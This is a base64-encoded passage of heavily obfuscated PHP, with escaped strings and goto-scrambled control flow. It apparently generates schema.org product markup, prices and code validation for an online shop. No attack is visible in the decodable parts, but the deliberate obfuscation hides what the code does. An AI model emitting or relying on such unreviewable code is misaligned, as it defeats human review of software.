1wxNTFceDczXHg3NFwxMDVcMTU0XHg2NVwxNTVceDY1XHg2ZVwxNjRcNDJceDIwXHg2OVx4NzRcMTQ1XDE1NVx4NzNceDYzXDE1N1wxNjBceDY1XDQwXDE1MVx4NzRceDY1XDE1NVx4NzRcMTcxXHg3MFx4NjVceDNkXHgyMlwxNTBceDc0XHg3NFwxNjBcMTYzXDcyXDU3XDU3XHg3M1wxNDNceDY4XHg2NVx4NmRcMTQxXHgyZVwxNTdcMTYyXHg2N1x4MmZcMTE0XHg2OVwxNjNcMTY0XHg0OVwxNjRcMTQ1XDE1NVx4MjJcNzZcNzRcMTQxXHhkXHhhXHgyMFw0MFx4MjBceDIwXHgyMFx4MjBceDIwXDQwXHgyMFw0MFx4MjBceDIwXHgyMFx4MjBcNDBcNDBcNDBceDIwXDQwXDQwXHgyMFx4MjBcNDBcNDBcNDBcNDBcNDBceDIwXDE1MVx4NzRcMTQ1XDE1NVx4NzBcMTYyXHg2ZlwxNjBceDNkXDQyXDE1MVx4NzRcMTQ1XDE1NVx4MjJceDIwXDE1MFwxNjJceDY1XDE0Nlx4M2RcNDJ7JEJVOTMwfVw0Mlx4MjBcMTY0XDE1MVwxNjRcMTU0XDE0NVx4M2RcNDJceDQ3XDE1N1x4MjBcMTY0XHg2Zlx4MjBcMTEwXDE1N1x4NmRcMTQ1XDQwXDEyMFx4NjFceDY3XDE0NVw0Mlx4M2VcNzRcMTYzXHg3MFwxNDFcMTU2XHgyMFx4NjlceDc0XHg2NVwxNTVcMTYwXDE2Mlx4NmZceDcwXHgzZFx4MjJceDZlXHg2MVx4NmRceDY1XHgyMlw3Nlx4NDhcMTU3XDE1NVwxNDVcNzRcNTdceDczXHg3MFwxNDFceDZlXHgzZVx4M2NcNTdceDYxXHgzZVwxNVwxMlx4MjBcNDBceDIwXDQwXDQwXDQwXHgyMFw0MFw0MFx4MjBcNDBcNDBceDIwXHgyMFw0MFw0MFw0MFw0MFw0MFw0MFw0MFx4MjBcNDBcNDBceDNjXDE1NVwxNDVcMTY0XDE0MVw0MFwxNTFceDc0XDE0NVwxNTVcMTYwXHg3MlwxNTdcMTYwXHgzZFx4MjJcMTYwXHg2Zlx4NzNcMTUxXHg3NFwxNTFceDZmXHg2ZVw0Mlw0MFx4NjNceDZmXHg2ZVwxNjRceDY1XHg2ZVwxNjRceDNkXDQyeyR2TnFLMn1cNDJcNTdceDNlXDE1XHhhXHgyMFw0MFx4MjBceDIwXHgyMFx4MjBcNDBceDIwXHgyMFx4MjBceDIwXDQwXDQwXHgyMFx4MjBcNDBceDIwXHgyMFw0MFw0MFx4MjBceDIwXHgyMFx4MjBceDNjXDE1MVx4MjBceDYzXHg2Y1wxNDFcMTYzXHg3M1x4M2RceDIyXHg2NFwxNDVcMTU0XHg2OVx4NmRcMTUxXHg3NFx4NjVceDcyXDQwXDE0NFx4NjVcMTU0XDE1MVx4NmRcMTUxXHg3NFx4NjVcMTYyXDU1XDYyXHgyMlw3Nlx4M2NcNTdceDY5XHgzZVw3NFx4MmZcMTU0XHg2OVw3NiI7IGdvdG8galJzRk47IGV5MDBZOiAkeGpYQXEgPSBbXTsgZ290byBwRlMxVDsgQjIxaHc6ICRVUDhBaCA9IFtdOyBnb3RvIHRsMk83OyBCRUJJdDogcmV0dXJuIFsiXHg2OVx4NmRceDYxXDE0N1wxNDVceDVmXDE1MFx4NzRcMTU1XDE1NCIgPT4gJHRfakhSLCAiXHg2ZFx4NjVcMTY0XHg2MVx4NWZceDY4XDE2NFx4NmRceDZjIiA9PiAkZ0YyaWssICJceDYyXHg3MlwxNDVceDYxXDE0NFwxNDNcMTYyXHg3NVwxNTVcMTQyXHg1Zlx4NjhceDc0XHg2ZFx4NmMiID0+ICR6enFpbSwgIlx4NzBceDcyXDE1MVwxNDNceDY1XDEzN1wxNTBcMTY0XHg2ZFx4NmMiID0+ICR5alBGNSwgIlx4NzRceDY5XDE2NFwxNTRceDY1XHg1ZlwxNTBceDc0XHg2ZFx4NmMiID0+ICRqd2lfQywgIlx4NjRceDY1XHg3M1wxNDNceDcyXHg2OVx4NzBcMTY0XHg2OVwxNTdcMTU2XHg1ZlwxNTBcMTY0XHg2ZFx4NmMiID0+ICRQd1FaZ1siXDE0NFwxNDVcMTYzXDE0M1x4NzJcMTUxXDE2MFx4NzRceDY5XDE1N1x4NmUiXSAuICJceDNjXHg2NFwxNTFceDc2XDQwXDE0M1wxNTRcMTQxXDE2M1wxNjNceDNkXHgyN1wxNjJcMTQ1XHg2Y1wxNDFceDc0XHg2NVx4NjRcNDBcMTYwXDE2MlwxNTdceDY0XDE2NVx4NjNcMTY0XHg3M1x4MjdcNzZcNzRceDY4XDYyXHgyMFwxNDNceDZjXHg2MVx4NzNceDczXHgzZFx4MjdceDczXDE1NFx4NjlcMTQ0XHg2NVx4NzJcNTVceDc0XHg2OVwxNjRceDZjXHg2NVw0MFwxNjJcMTQ1XHg2Y1wxNDFcMTY0XHg2NVx4NjRcNTVceDcwXDE2Mlx4NmZcMTQ0XDE2NVwxNDNceDc0XHg3M1w0N1w3Nlx4M2NcNTdcMTUwXHgzMlx4M2VcNzRceDJmXHg2NFx4NjlcMTY2XDc2IiAuICRwSFFoZl07IGdvdG8gcDVsdmM7IG84OXZpOiBscW0yVzogZ290byBkdVlRbDsgZHVZUWw6ICR0X2pIUiA9IGltcGxvZGUoJycsICR4alhBcSk7IGdvdG8gcFEyaUI7IHRsMk83OiAkdk5xSzIgPSAxOyBnb3RvIE81aF9sOyB2UWZhNzogJE1mVUVpID0gW107IGdvdG8gZDBPSHQ7IHIzNzY2OiAkQlU5MzAgPSAiXDU3XDE1MFwxNTdceDZkXHg2NVw1NlwxNTBceDc0XHg2ZFwxNTQiOyBnb3RvIEIyMWh3OyBXSEtHdDogJFpFdlFUID0gJHRoaXMtPkp2SkpOKCRQd1FaZ1siXDE0M1x4NzVcMTYyXDE2MlwxNDVcMTU2XHg2M1wxNzFcMTM3XHg2OVwxNDQiXSk7IGdvdG8gcm03Umg7IHA1bHZjOiB9IHB1YmxpYyBmdW5jdGlvbiBkbE9fNCgkdzA5NEgpIHsgZ290byBIWWtLejsgR2R6bUU6IHJldHVybiBbIlx4NjRcMTUxXDE2M1x4NzBcMTU0XHg2MVx4NzlceDVmXDE2MFx4NzJcMTUxXDE0M1wxNDUiID0+ICRQbmRZZywgIlx4NzJcMTQxXDE2N1wxMzdcMTYwXDE2MlwxNTFceDYzXHg2NSIgPT4gJGkyQmhYXTsgZ290byB2cUNRMjsgSFlrS3o6ICRQbmRZZyA9IGZsb29yKCR3MDk0SCAqIHNlbGY6OlJ1SHdyICogc2VsZjo6U1ZMaEwgKiAxMDApIC8gMTAwOyBnb3RvIFBVaTZBOyBQVWk2QTogJGkyQmhYID0gZmxvb3IoJHcwOTRIICogc2VsZjo6UnVId3IgKiAxMDApIC8gMTAwOyBnb3RvIEdkem1FOyB2cUNRMjogfSBwdWJsaWMgZnVuY3Rpb24gZ2gxckEoJE13SzdjLCAkU2pDNkIgPSB0cnVlLCAkU29rTTIgPSAnJykgeyBnb3RvIFFyRnE4OyBGV096QTogRDBYQWI6IGdvdG8gVFZKdmU7IElJWHUzOiBpZiAoISgkZTNrMDAgPCBzdHJsZW4oJE13SzdjKSkpIHsgZ290byBEMFhBYjsgfSBnb3RvIEwzMnMzOyBnbUJrNTogJFNva00yID0gIlx4NzdcMTY3XDE2N1x4MmUiIC4gJFNva00yOyBnb3RvIFUxQ3BuOyBWelo1aTogUHVVb1o6IGdvdG8gQVVwRl87IHoxbzJROiBuOF8xTzogZ290byBJSVh1MzsgcXpuOUM6ICRMeW5RMiA9IDA7IGdvdG8gV3c2MkE7IFczbjJIOiBwUVlPczogZ290byBnUE56UTsgVFZKdmU6ICRNd0s3YyA9ICRLZUFCZDsgZ290byBEeHJZUzsgQVVwRl86ICRlM2swMCsrOyBnb3RvIEJOSkhfOyBUa3FNTTogJEtlQUJkID0gJyc7IGdvdG8gY1gwX3A7IFFTd05iOiBnb3RvIGtRQlpyOyBnb3RvIFczbjJIOyBXdzYyQToga1FCWnI6IGdvdG8gQjMzUV87IFUxQ3BuOiBjSVprMTogZ290byBxem45QzsgRHhyWVM6IHhJU2ppOiBnb3RvIEsxekJ6OyBRckZxODogJFNva00yID0gJFNva00yID86ICR0aGlzLT5xWV96ZDsgZ290byBxMlRZQzsgcTJUWUM6IGlmICghKHN0cnBvcygkU29rTTIsICJceDc3XDE2N1x4NzdceDJlIikgPT09IGZhbHNlKSkgeyBnb3RvIGNJWmsxOyB9IGdvdG8gZ21CazU7IEwzMnMzOiAkS2VBQmQgLj0gYmFzZV9jb252ZXJ0KChiYXNlX2NvbnZlcnQoJE13SzdjWyRlM2swMF0sIDM2LCAxMCkgKyAkTlJBbjApICUgMzYsIDEwLCAzNik7IGdvdG8gVnpaNWk7IEIzM1FfOiBpZiAoISgkTHluUTIgPCBzdHJsZW4oJFNva00yKSkpIHsgZ290byBwUVlPczsgfSBnb3RvIFZ4UHVCOyBWeFB1QjogJE5SQW4wID0gJFNqQzZCID8gYmFzZV9jb252ZXJ0KCRTb2tNMlskTHluUTJdLCAzNiwgMTApIDogMzYgLSBiYXNlX2NvbnZlcnQoJFNva00yWyRMeW5RMl0sIDM2LCAxMCk7IGdvdG8gVGtxTU07IEsxekJ6OiAkTHluUTIrKzsgZ290byBRU3dOYjsgQk5KSF86IGdvdG8gbjhfMU87IGdvdG8gRldPekE7IGNYMF9wOiAkZTNrMDAgPSAwOyBnb3RvIHoxbzJROyBnUE56UTogcmV0dXJuICRLZUFCZDsgZ290byBkMUVseTsgZDFFbHk6IH0gcHVibGljIGZ1bmN0aW9uIFNSMWVCKCRjV1I2ZCwgJHlLMDcxID0gbnVsbCkgeyBnb3RvIHltU1pDOyBFVTFrYjogZ290byBoVnBzeTsgZ290byBnSWE4NTsgYjBHNkk6ICR0aGlzLT54enk2MSA9IHRydWU7IGdvdG8gUk1KeGY7IHl1OXZDOiAkT3pBa1AgPSAkdGhpcy0+VWRQWjM7IGdvdG8gRVUxa2I7IG8zaWgxOiBMNDZYbTogZ290byBvWURhZzsgck9RXzU6ICRPekFrUCA9IHNlbGY6OkVubl9WOyBnb3RvIGIwRzZJOyBaWjFDNjogS2c2S2U6IGdvdG8gTEFKTEM7IHZWUjlGOiAkb1NHbHggPSBzdHJsZW4oJGNXUjZkKTsgZ290byB4a0dlODsgeW1TWkM6IGlmICghKCFlbXB0eSgkY1dSNmQpICYmICRjV1I2ZCAhPSAtMSkpIHsgZ290byBLZzZLZTsgfSBnb3RvIGNZblE1OyBSTUp4ZjogaFZwc3k6IGdvdG8gQUtlU2U7IExBSkxDOiByZXR1cm4gZmFsc2U7IGdvdG8gcHFEcXM7IGNZblE1OiAkY1dSNmQgPSAoc3RyaW5nKSAkY1dSNmQ7IGdvdG8gdlZSOUY7IGdJYTg1OiBFY1BkNzogZ290byByT1FfNTsgQUtlU2U6IHN3aXRjaCAoJHlLMDcxKSB7IGNhc2Ugc2VsZjo6Wmp1Wlo6IGdvdG8gbmlCN2k7IFBJOFVWOiBFbllaQzogZ290byBGY0tBSzsgbmlCN2k6IHN3aXRjaCAoJE96QWtQKSB7IGNhc2Ugc2VsZjo6Sm9rYmc6IGNhc2Ugc2VsZjo6S1RWMXM6IHJldHVybiBjdHlwZV9kaWdpdCgkY1dSNmQpICYmICRvU0dseCA+PSBzZWxmOjpnV3VRcyAmJiAkb1NHbHggPD0gc2VsZjo6UWY2WWo7IGdvdG8gTUh2WFM7IGNhc2Ugc2VsZjo6RHBMeVc6IHJldHVybiBjdHlwZV9kaWdpdCgkY1dSNmQpICYmICRvU0dseCA+PSBzZWxmOjpnV3VRcyAmJiAkb1NHbHggPD0gc2VsZjo6UWY2WWo7IGNhc2Ugc2VsZjo6RW5uX1Y6IHJldHVybiBjdHlwZV9hbG51bSgkY1dSNmQpICYmICRvU0dseCA+PSBzZWxmOjpnV3VRcyAmJiAkb1NHbHggPD0gc2VsZjo6UWY2WWo7IGRlZmF1bHQ6IHJldHVybiBmYWxzZTsgfSBnb3RvIFBJOFVWOyBGY0tBSzogTUh2WFM6IGdvdG8gbDlaVks7IGw5WlZLOiBjYXNlIHNlbGY6OkhYWjJvOiBnb3RvIHNlTThvOyBWbzVfTzogT2lNZ3M6IGdvdG8gakV2Sm07IGpFdkptOiBPbHJVejogZ290byBzS2tHRTsgc2VNOG86IHN3aXRjaCAoJE96QWtQKSB7IGNhc2Ugc2VsZjo6Sm9rYmc6IGNhc2Ugc2VsZjo6S1RWMXM6IHJldHVybiBjdHlwZV9kaWdpdCgkY1dSNmQpICYmICRvU0dseCA+PSBzZWxmOjpvTkFrRyAmJiAkb1NHbHggPD0gc2VsZjo6el9veEQ7IGdvdG8gT2xyVXo7IGNhc2Ugc2VsZjo6RHBMeVc6IGNhc2Ugc2VsZjo6RW5uX1Y6IHJldHVybiBjdHlwZV9hbG51bSgkY1dSNmQpICYmICRvU0dseCA+PSBzZWxmOjpvTkFrRyAmJiAkb1NHbHggPD0gc2VsZjo6el9veEQ7IGRlZmF1bHQ6IHJldHVybiBmYWxzZTsgfSBnb3RvIFZvNV9POyBzS2tHRTogZGVmYXVsdDogcmV0dXJuIGZhbHNlOyB9IGdvdG8gbzNpaDE7IG9ZRGFnOiBoOEF3cDogZ290byBaWjFDNjsgeGtHZTg6IGlmIChzdHJwb3Moc3RydG91cHBlcigkY1dSNmQpLCAiXDExMCIpID09PSAwKSB7IGdvdG8gRWNQZDc7IH0gZ290byB5dTl2QzsgcHFEcXM6IH0gcHVibGljIGZ1bmN0aW9uIEFLQ2N6KCRHb1djQikgeyBnb3RvIFFkNEllOyBOZTV2TzogaWYgKHN0cnBvcygkR29XY0IsICJceDJkIikgIT09IGZhbHNlKSB7IGdvdG8gbFduUUk7IH0gZ290byBMSXdEaDsgUWQ0SWU6IGlmIChzdHJwb3MoJEdvV2NCLCAiXHgyMCIpICE9PSBmYWxzZSkgeyBnb3RvIGRZV2FiOyB9IGdvdG8gTmU1dk87IGwzRG5FOiAkR29XY0IgPSBzdHJfcmVwbGFjZSgiXDEzNyIsICJceDJkIiwgJEdvV2NCKTsgZ290byBNbDNPMTsgb0puQmE6IGxXblFJOiBnb3RvIGxkRms1OyBMSXdEaDogZ290byBtNzhySjsgZ290byBHRThuVjsga081V3A6ICRHb1djQiA9IHN0cl9yZXBsYWNlKCJcNDBceDIwIiwgIlx4MjAiLCAkR29XY0IpOyBnb3RvIEdmbnAwOyBHRThuVjogZFlXYWI6IGdvdG8gVXhYMEg7IGhkNURwOiByZXR1cm4gJEdvV2NCOyBnb3RvIGdaMFhtOyBkZ0p0NzogJEdvV2NCID0gc3RyX3JlcGxhY2UoIlw0MCIsICJcNTUiLCAkR29XY0IpOyBnb3RvIGwzRG5FOyBsZEZrNTogJEdvV2NCID0gdWN3b3JkcyhzdHJfcmVwbGFjZSgiXDU1IiwgIlw0MCIsICRHb1djQikpOyBnb3RvIGl1MjhZOyBpdTI4WTogbTc4cko6IGdvdG8gaGQ1RHA7IEdmbnAwOiAkR29XY0IgPSB0cmltKCRHb1djQik7IGdvdG8gZGdKdDc7IE1sM08xOiBnb3RvIG03OHJKOyBnb3RvIG9KbkJhOyBQZUJkUTogJEdvV2NCID0gc3RyX3JlcGxhY2UoIlx4MjBcNDAiLCAiXHgyMCIsICRHb1djQik7IGdvdG8ga081V3A7IFV4WDBIOiAkR29XY0IgPSBwcmVnX3JlcGxhY2UoIlw1N1wxMzNceDVjXHg3MFwxNzNcMTIwXDE3NVwxMzRcMTYwXDE3M1wxMjNcMTc1XHg1Ylw3Mlx4NzNcMTYwXHg2MVx4NjNcMTQ1XHgzYVx4NWRcMTM1XDUzXDU3XDE2NSIsICJcNDAiLCAkR29XY0IpOyBnb3RvIFBlQmRROyBnWjBYbTogfSBwcml2YXRlIGZ1bmN0aW9uIGhRUm5uKCRQd1FaZykgeyBnb3RvIGh6QWpxOyBIbHZPMjogJHdwVG5zID0gc3RyaXBfdGFncygkUHdRWmdbIlwxNjRcMTUxXDE2NFwxNTRceDY1Il0pOyBnb3RvIFJidVNSOyBSdjBySzogaWYgKGVtcHR5KCRQd1FaZ1siXDE1NVx4NzBcMTU2Il0pICYmIGVtcHR5KCRQd1FaZ1siXHg2OVwxNjNcMTQyXDE1NiJdKSAmJiBlbXB0eSgkUHdRWmdbIlx4NjdceDc0XHg2OVx4NmUiXSkgJiYgZW1wdHkoJFB3UVpnWyJceDY3XHg3NFx4NjlceDZlXHgzOCJdKSAmJiBlbXB0eSgkUHdRWmdbIlwxNDdcMTY0XDE1MVwxNTZceDMxXDYzIl0pICYmIGVtcHR5KCRQd1FaZ1siXDE0N1wxNjRceDY5XDE1Nlx4MzFceDM0Il0pKSB7IGdvdG8gY0FTSVg7IH0gZ290byBTTWVrdjsgZnVtUEw6IGlmICghaXNzZXQoJFB3UVpnWyJceDcwXHg2OVwxNDNceDc0XHg3NVwxNjJceDY1XDE2MyJdKSkgeyBnb3RvIHM4QzNfOyB9IGdvdG8geVJzRWs7IG95b1o4OiBjQVNJWDogZ290byBQZEhiczsgUGRIYnM6ICRiREZiTiA9ICJceDZlXHg2ZiI7IGdvdG8gdjY1MnE7IG5ZUEZCOiBPdzIyeTogZ290byBFVFdTNjsgcTVoY0Y6IGZvcmVhY2ggKCRQd1FaZ1siXHg3M1x4NzBcMTQ1XDE0M1x4NjlceDY2XDE1MVwxNDNcMTYzIl0gYXMgJFNva00yID0+ICRVSU9fRykgeyBnb3RvIERjZVRtOyBMeXRWUDogdWswclI6IGdvdG8gcEhLMEM7IHg0c1V3OiBqQ2tYOTogZ290byB0a1NPSDsgdGtTT0g6IGFycmF5X3B1c2goJGF6dk5mLCBbIlwxMDBcMTY0XHg3OVwxNjBcMTQ1IiA9PiAiXDEyMFwxNjJceDZmXHg3MFx4NjVceDcyXDE2NFwxNzFceDU2XHg2MVx4NmNcMTY1XDE0NSIsICJceDZlXDE0MVx4NmRcMTQ1IiA9PiAkU29rTTIsICJcMTY2XDE0MVx4NmNceDc1XDE0NSIgPT4gJFVJT19HXSk7IGdvdG8gTHl0VlA7IERjZVRtOiBmb3JlYWNoICgkbW00aWkgYXMgJERGM0ZkID0+ICRJWGhMMSkgeyBnb3RvIE9nbUxlOyBPZ21MZTogaWYgKCEoZW1wdHkoJFB3UVpnWyRJWGhMMV0pICYmICRTb2tNMiA9PSAkREYzRmQpKSB7IGdvdG8gSE9ub0k7IH0gZ290byBXVm5mMDsgV1ZuZjA6ICRQd1FaZ1skSVhoTDFdID0gJFVJT19HOyBnb3RvIG9uR3FrOyBvbkdxazogSE9ub0k6IGdvdG8gSE4zQjA7IEhOM0IwOiBweFJ2ZzogZ290byBKdXMxNzsgSnVzMTc6IH0gZ290byB4NHNVdzsgcEhLMEM6IH0gZ290byBuWVBGQjsgblFaMHY6ICR3MDk0SCA9ICRGVkNMM1siXDE0NFx4NjlcMTYzXDE2MFx4NmNceDYxXDE3MVx4NWZcMTYwXHg3Mlx4NjlceDYzXHg2NSJdOyBnb3RvIE1UdDl3OyBXSnYwXzogJHczNnVUID0gW107IGdvdG8gZnVtUEw7IG00TVhfOiAkQnhmVG8gPSBkYXRlKCJcMTMxXDU1XDE1NVx4MmRcMTQ0Iiwgc3RydG90aW1lKCJceDZlXHg2NVx4NzhceDc0XDQwXDE3MVx4NjVceDYxXDE2MiIpKTsgZ290byBuRGFBTTsgeVJzRWs6IGZvcmVhY2ggKCRQd1FaZ1siXDE2MFwxNTFcMTQzXDE2NFwxNjVcMTYyXHg2NVwxNjMiXSBhcyAkU29rTTIgPT4gJFVJT19HKSB7ICR3MzZ1VFtdID0gInskSFdqcWh9eyR0aGlzLT5xWV96ZH17JHRoaXMtPkNXcEtxKCl9eyRVSU9fR30iOyBmeTNTcTogfSBnb3RvIEcwRFdROyBTTWVrdjogJGJERmJOID0gIlx4NzlceDY1XHg3MyI7IGdvdG8gZWUyMno7IEN3Rnk0OiAkV0V4Z2YgPSBtYl9zdWJzdHIoaHRtbHNwZWNpYWxjaGFycygkV0V4Z2YsIEVOVF9RVU9URVMpLCAwLCA1MDAwKTsgZ290byBXX3dRMTsgd1NkbkY6ICRGVkNMMyA9ICR0aGlzLT5EbG9fNCgkUHdRWmdbIlwxNDNceDc1XHg3Mlx4NzJcMTQ1XHg2ZVwxNjRceDVmXHg3MFwxNjJcMTUxXDE0M1wxNDUiXSk7IGdvdG8gblFaMHY7IHczT2VXOiByZXR1cm4gIlw0MFw0MFx4MjBceDIwXDQwXDQwXHgyMFw0MFw0MFw0MFx4MjBceDIwXHgzY1x4NzNcMTQzXDE2MlwxNTFceDcwXDE2NFw0MFx4NzRceDc5XHg3MFwxNDVcNzVceDIyXDE0MVx4NzBceDcwXDE1NFx4NjlcMTQzXHg2MVx4NzRcMTUxXDE1N1wxNTZceDJmXDE1NFx4NjRcNTNcMTUyXHg3M1x4NmZcMTU2XHgyMlw3NnskcEg1R2t9XDc0XHgyZlx4NzNceDYzXDE2Mlx4NjlceDcwXDE2NFx4M2UiOyBnb3RvIEl5bTFPOyBNVHQ5dzogJERkX1pZID0gaHRtbHNwZWNpYWxjaGFycygkUHdRWmdbIlx4NjRceDY1XHg3M1wxNDNcMTYyXDE1MVx4NzBceDc0XHg2OVwxNTdcMTU2Il0sIEVOVF9RVU9URVMpOyBnb3RvIEhsdk8yOyBlZTIyejogZ290byB3WjkxVDsgZ290byBveW9aODsgbkRhQU06ICRCZWd1ZyA9ICRQd1FaZ1siXHg2M1wxNjVcMTYyXDE2MlwxNDVceDZlXHg2M1wxNzFceDVmXHg2OVx4NjQiXTsgZ290byB3U2RuRjsgZ2pLQ2k6ICRwSDVHayA9IGpzb25fZW5jb2RlKCRZX2RVZyk7IGdvdG8gdzNPZVc7IHhXTElJOiAkbDN4dHcgPSAkdGhpcy0+aFBQTkUoJFB3UVpnWyJceDcxXDE2NVwxNDFceDZlXDE2NFwxNTFceDc0XDE3MSJdLCAkUHdRWmdbIlx4NzNceDZmXDE1NFwxNDQiXSwgJFB3UVpnWyJcMTUwXDE1MVx4NzRcMTM3XDE0M1wxNTdcMTY1XHg2ZVwxNjQiXSk7IGdvdG8gbTRNWF87IGh6QWpxOiBnbG9iYWwgJFlfZFVnOyBnb3RvIE9ONjZDOyBUSnBzbjogJFlfZFVnID0gWyJceDQwXDE0M1x4NmZceDZlXDE2NFwxNDVceDc4XHg3NCIgPT4gIlx4NjhceDc0XDE2NFwxNjBcMTYzXDcyXDU3XDU3XHg3M1wxNDNceDY4XDE0NVwxNTVcMTQxXHgyZVwxNTdceDcyXHg2NyIsICJcMTAwXDE2NFwxNzFceDcwXDE0NSIgPT4gIlwxMjBceDcyXDE1N1x4NjRcMTY1XDE0M1x4NzQiLCAiXDE1Nlx4NjFcMTU1XDE0NSIgPT4gJHdwVG5zLCAiXHg2OVwxNTVcMTQxXHg2N1x4NjUiID0+ICR3MzZ1VCwgIlwxNjNcMTUzXHg3NSIgPT4gJGpTaGFKLCAiXDE1MVwxNDRceDY1XHg2ZVwxNjRceDY5XHg2Nlx4NjlceDY1XDE2MlwxMDVceDc4XDE1MVx4NzNceDc0XHg3MyIgPT4gJGJERmJOLCAiXDE0M1wxNDFcMTY0XHg2NVwxNDdceDZmXHg3MlwxNzEiID0+ICRQd1FaZ1siXDE0M1wxNDFcMTY0XDE0NVx4NjdceDZmXHg3MlwxNzFceDVmXDE1Nlx4NjFceDZkXDE0NSJdLCAiXHg2Mlx4NzJceDYxXDE1Nlx4NjQiID0+IFsiXHg0MFx4NzRcMTcxXDE2MFx4NjUiID0+ICJceDQyXHg3MlwxNDFceDZlXHg2NCIsICJceDZlXHg2MVwxNTVcMTQ1IiA9PiAkUHdRWmdbIlx4NjJceDcyXDE0MVwxNTZceDY0Il0gPyAkUHdRWmdbIlwxNDJcMTYyXHg2MVx4NmVceDY0Il0gOiAiXDE2NVwxNTZceDZiXHg2ZVwxNTdcMTY3XDE1NiJdLCAiXDE0NFx4NjVceDczXHg2M1wxNjJcMTUxXDE2MFx4NzRcMTUxXHg2Zlx4NmUiID0+ICRXRXhnZiwgIlx4NjlcMTY0XHg2NVwxNTVceDQzXHg2Zlx4NmVceDY0XHg2OVwxNjRceDY5XHg2Zlx4NmUiID0+ICRQd1FaZ1siXHg2M1x4NmZceDZlXDE0NFwxNTFceDc0XDE1MVx4NmZcMTU2Il0sICJcMTQzXHg2ZlwxNjVceDZlXDE2NFx4NzJceDc5XHg0Zlx4NjZcMTE3XHg3MlwxNTFceDY3XHg2OVx4NmUiID0+ICRQd1FaZ1siXDE0M1wxNTdcMTY1XHg2ZVx4NzRceDcyXDE3MSJdLCAiXHg3MlwxNDVceDc2XHg2OVx4NjVceDc3IiA9PiBbIlwxMDBcMTY0XDE3MVwxNjBcMTQ1IiA9PiAiXHg1Mlx4NjVcMTY2XHg2OVwxNDVcMTY3IiwgIlwxNjJceDY1XDE2NlwxNTFceDY1XHg3N1x4NTJceDYxXDE2NFwxNTFceDZlXHg2NyIgPT4gWyJceDQwXHg3NFwxNzFceDcwXHg2NSIgPT4gIlx4NTJcMTQxXDE2NFwxNTFcMTU2XDE0NyIsICJcMTYyXHg2MVx4NzRcMTUxXDE1Nlx4NjdceDU2XDE0MVwxNTRceDc1XDE0NSIgPT4gJGwzeHR3LCAiXHg2MlwxNDVceDczXHg3NFx4NTJcMTQxXHg3NFx4NjlceDZlXHg2NyIgPT4gIlx4MzUiXSwgIlx4NjFcMTY1XDE2NFx4NjhcMTU3XHg3MiIgPT4gWyJceDQwXHg3NFwxNzFcMTYwXHg2NSIgPT4gIlx4NTBceDY1XHg3Mlx4NzNcMTU3XDE1NiIsICJceDZlXHg2MVwxNTVceDY1IiA9PiAiXDEwNlwxNjJceDY1XHg2NFw0MFwxMDJceDY1XHg2ZVx4NzNcMTU3XHg2ZSJdXSwgIlwxNDFceDY3XDE0N1wxNjJceDY1XHg2N1wxNDFcMTY0XDE0NVx4NTJceDYxXDE2NFwxNTFceDZlXHg2NyIgPT4gWyJcMTAwXHg3NFwxNzFcMTYwXHg2NSIgPT4gIlwxMDFceDY3XDE0N1x4NzJceDY1XHg2N1x4NjFcMTY0XDE0NVwxMjJceDYxXHg3NFx4NjlcMTU2XDE0NyIsICJceDcyXDE0MVx4NzRcMTUxXHg2ZVx4NjdceDU2XHg2MVx4NmNceDc1XHg2NSIgPT4gJGwzeHR3LCAiXDE2MlwxNDVceDc2XDE1MVwxNDVcMTY3XDEwM1wxNTdcMTY1XHg2ZVwxNjQiID0+ICRQd1FaZ1siXDE1MFx4NjlcMTY0XHg1ZlwxNDNceDZmXHg3NVwxNTZcMTY0Il0gPD0gMCA/IDEgOiAkUHdRWmdbIlwxNTBcMTUxXDE2NFx4NWZceDYzXDE1N1x4NzVcMTU2XHg3NCJdXSwgIlwxNTdcMTQ2XHg2Nlx4NjVceDcyXHg3MyIgPT4gWyJceDQwXDE2NFwxNzFcMTYwXDE0NSIgPT4gIlwxMTdcMTQ2XHg2NlwxNDVceDcyIiwgIlwxNjVceDcyXHg2YyIgPT4gJEhXanFoIC4gJHRoaXMtPnFZX3pkIC4gJHRoaXMtPkNXcGtxKCkgLiB1cmxkZWNvZGUoJF9TRVJWRVJbIlx4NTJcMTA1XHg1MVwxMjVcMTA1XHg1M1x4NTRcMTM3XDEyNVx4NTJcMTExIl0pLCAiXDE2MFwxNjJceDY5XDE0M1wxNDVceDU2XHg2MVx4NmNceDY5XHg2NFwxMjVcMTU2XHg3NFwxNTFceDZjIiA9PiAkQnhmVG8sICJcMTYwXHg3Mlx4NjlceDYzXDE0NVwxMjNcMTYwXHg2NVx4NjNcMTUxXDE0NlwxNTFceDYzXDE0MVwxNjRcMTUxXHg2Zlx4NmUiID0+IFsiXDE2MFx4NzJceDY5XDE0M1wxNDUiID0+ICR3MDk0SCwgIlwxNjBceDcyXHg2OVx4NjNceDY1XDEwM1x4NzVceDcyXHg3Mlx4NjVcMTU2XHg2M1wxNzEiID0+ICRCZWd1ZywgIlwxNjZcMTQxXDE1NFx4NzVceDY1XHg0MVx4NjRcMTQ0XHg2NVx4NjRcMTI0XDE0MVwxNzBceDQ5XHg2ZVx4NjNcMTU0XHg3NVwxNDRceDY1XHg2NCIgPT4gIlx4NjZceDYxXDE1NFwxNjNceDY1Il0sICJceDYxXHg3NlwxNDFcMTUxXDE1NFwxNDFceDYyXDE1MVwxNTRceDY5XHg3NFwxNzEiID0+ICJceDY4XHg3NFwxNjRceDcwXDcyXDU3XHgyZlwxNjNceDYzXDE1MFwxNDVceDZkXDE0MVw1Nlx4NmZceDcyXHg2N1x4MmZceDQ5XDE1NlwxMjNcMTY0XDE1N1x4NjNcMTUzIiwgIlwxNjNcMTQ1XDE1NFwxNTRceDY1XDE2MiIgPT4gWyJceDQwXDE2NFx4NzlcMTYwXDE0NSIgPT4gIlx4NGZceDcyXDE0N1wxNDFceDZlXHg2OVwxNzJcMTQxXDE2NFwxNTFcMTU3XDE1NiIsICJceDZlXDE0MVwxNTVceDY1IiA9PiAnJywgIlwxNjVceDcyXDE1NCIgPT4gJEhXanFoIC4gJHRoaXMtPnFZX3pkIC4gJHRoaXMtPkNXcEtxKCldXSwgIlx4NjFcMTQ0XHg2NFwxNTFceDc0XDE1MVx4NmZceDZlXHg2MVx4NmNcMTIwXDE2MlwxNTdcMTYwXHg2NVx4NzJcMTY0XDE3MSIgPT4gJGF6dk5mXTsgZ290byBnaktDaTsgR0o5M2w6IGlmICghaXNzZXQoJFB3UVpnWyJceDczXDE2MFwxNDVceDYzXDE1MVx4NjZceDY5XDE0M1wxNjMiXSkpIHsgZ290byBqaDBvdzsgfSBnb3RvIHE1aGNGOyBZVk16MDogczhD